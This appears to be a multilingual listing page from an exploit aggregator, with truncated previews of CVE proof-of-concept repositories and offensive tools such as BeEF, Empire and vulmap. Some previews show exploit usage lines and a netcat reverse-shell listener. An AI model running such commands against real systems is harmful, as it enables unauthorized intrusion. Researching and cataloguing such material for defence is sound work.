CVE-2018-1000533

Уязвимость удаленного выполнения кода GitList 0.6.0 CVE-2018-1000533 GitList — современный просмотрщик Git-репозиториев. В GitList версии 0.6.0 и ниже существует уязвимость, связанная с передачей неправильно проверенных входных данных в системные функции, что позволяет выполнять произвольные...

CVE-2020-12124

CVE-2020-12124 Une implémentation d'une preuve de concept pour CVE-2020-12124 https://vulners.com/cve/CVE-2020-12124 root@kitploit: The following is an actualization of CVE-2020-12124, a vulnerability which exploits a command injection in the Wavlink WN530H4 router in which certain parameters are...

CVE-2025-54123

CVE-2025-54123 Hoverfly - RCE via CVE Utilisation Exécution de commande : root@kitploit: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -c whoami Reverse Shell : root@kitploit: nc -lvnp 443 root@kitploit: python3 CVE-2025-54123.py -u $USER -p $PASS -t...

CVE-2024-7399-POC

CVE-2024-7399 Exploit pour CVE-2024-7399. Plus de détails disponibles ici : https://davidxbors.github.io/0xpages/posts/cve-2024-7399/. Utilisation : root@kitploit: python3 CVE-2024-7399.py https://localhost:7002/ --check python3 CVE-2024-7399.py https://localhost:7002/ --execute python3...

CVE-2015-3306

ProFTPd 1.3.5 Удалённое выполнение команд Автор : David Tavarez @davidtavarez Программное обеспечение: ProFTPd 1.3.5 с modcopy Протестировано : Debian 4+deb7u2 ProFTPD 1.3.4a Debian-4+deb7u1 ProFTPD 1.3.4a CVE : 2015-3306...

CVE-2022-36446-Webmin-RCE

CVE-2022-36446 — Webmin 1.997 RCE Authentifié Exploit pour la vulnérabilité d'exécution de code à distance dans Webmin versions antérieures à 1.997, via le module Software Package Updates. Comment ça fonctionne ? Le module Software Package Updates de Webmin ne nettoie pas correctement le paramètr...

beef

=============================================================================== root@kitploit: Copyright c 2006-2026 Wade Alcorn - [email protected] Browser Exploitation Framework BeEF - https://beefproject.com See the file 'doc/COPYING' for copying permission...

CVE-2026-79623 FishCodeTech Muteki Default Local Worker Backend settings.json os command injection

A security vulnerability has been detected in FishCodeTech Muteki up to 0.2.5. The affected element is an unknown function of the file .claude/settings.json of the component Default Local Worker Backend. The manipulation leads to os command injection. The attack can be initiated remotely. The...

EUVD-2026-65491

A security vulnerability has been detected in FishCodeTech Muteki up to 0.2.5. The affected element is an unknown function of the file .claude/settings.json of the component Default Local Worker Backend. The manipulation leads to os command injection. The attack can be initiated remotely. The...

CVE-2026-79623

FishCodeTech Muteki (up to 0.2.5 ) contains an OS command injection vulnerability in the Default Local Worker Backend component, specifically in the file .claude/settings.json. The manipulation can be initiated remotely with low privileges and no user interaction, yielding moderate impact on conf...

CVE-2024-46627

CVE-2024-46627 - BECN DATAGERRY v2.2의 잘못된 접근 제어로 인해 공격자가 조작된 웹 요청을 통해 임의의 명령을 실행할 수 있습니다. DATAGERRY v2.2는 다음 엔드포인트의 REST API에 접근 제어가 없습니다: /rest/users//settings/ GET, POST /rest/users//settings/ DELETE, PUT 이로 인해 공격자는 인증 없이 모든 사용자의 설정을 읽고, 생성하고, 삭제하고, 업데이트할 수 있습니다. 추가 정보 이를 재현하려면 여기의 docker 설정을 사...

vulmap

🌟 Vulmap - Web vulnerability scanning and verification tools Click here for the English Version Vulmap is a web vulnerability scanning and verification tool. It can scan and exploit vulnerabilities in webapps. Currently supported webapps include activemq, flink, shiro, solr, struts2, tomcat, unom...

CVE-2024-27130

🇮🇱 BringThemHome NeverAgainIsNow 🇮🇱 Nous exigeons le retour en sécurité de tous les citoyens qui ont été pris en otage par le groupe terroriste Hamas. Nous ne cesserons pas tant que chaque otage ne sera pas libéré et ne rentrera pas chez lui en sécurité. Vous pouvez aider à les ramener à la...

CVE-2019-0232-EXP

CVE-2019-0232-EXP Тестовая среда: Win10 Home 1809, JRE версии 18.3 build 10.0.2+13, Tomcat версии 9.0.13. Затронутые версии Tomcat ★Apache Tomcat 9.0.0.M1 — 9.0.17 ★Apache Tomcat 8.5.0 — 8.5.39 ★Apache Tomcat 7.0.0 — 7.0.93 Конфигурация conf/web.xml root@kitploit: cgi...

Shellbash-CVE-2014-6271

Injection de commande à distance Shellshock CVE-2014-6271 中文版本Version chinoise Construisez et exécutez l'environnement vulnérable : root@kitploit: docker-compose build docker-compose up -d Lorsque vous visitez http://your-ip/, vous devriez voir deux fichiers : safe.cgi victim.cgi safe.cgi est...

Empire

...

THM-MagnusBilling-CVE-2023-30258-Exploit

THM-MagnusBilling-CVE-2023-30258 Отлично! Давайте преобразуем вашу полную статью в профессиональный английский, готовый для репозитория GitHub. Я также отшлифовал его для ясности и читабельности — это материал уровня портфолио. ⸻ 🛡️ MagnusBilling RCE → Root CVE-2023-30258 📌 Обзор Цель:...

wig

wig - WebApp Information Gatherer wig is a web application information gathering tool, which can identify numerous Content Management Systems and other administrative applications. The application fingerprinting is based on checksums and string matching of known files for different versions of...

botkube

Botkube هو بوت مراسلة لمراقبة وتصحيح أخطاء مجموعات Kubernetes. نظرة عامة Botkube هو حل لاستكشاف الأخطاء وإصلاحها والمراقبة يعزز كفاءة عمل فرق DevOps، ويُمكّن المطورين من استكشاف أخطاء تطبيقاتهم دون الحاجة إلى صلاحيات أو معرفة خاصة بـ Kubernetes، ويحسّن الموثوقية من خلال تقديم إشعارات غنية بالسياق...

lazyweb

LazyWeb - تطبيق ويب ضعيف LazyWeb هو تطبيق ويب توضيحي مصمم لعرض الثغرات الأمنية الشائعة على جانب الخادم في التطبيقات الويب. تم تصنيف كل ثغرة بمستوى الصعوبة الخاص بها لتوفير تجربة تعليمية شاملة للمطورين وعشاق الأمن. الميزات الرئيسية يعرض ثغرات أمنية واقعية في تطبيقات الويب. يمتد من عيوب الأمان...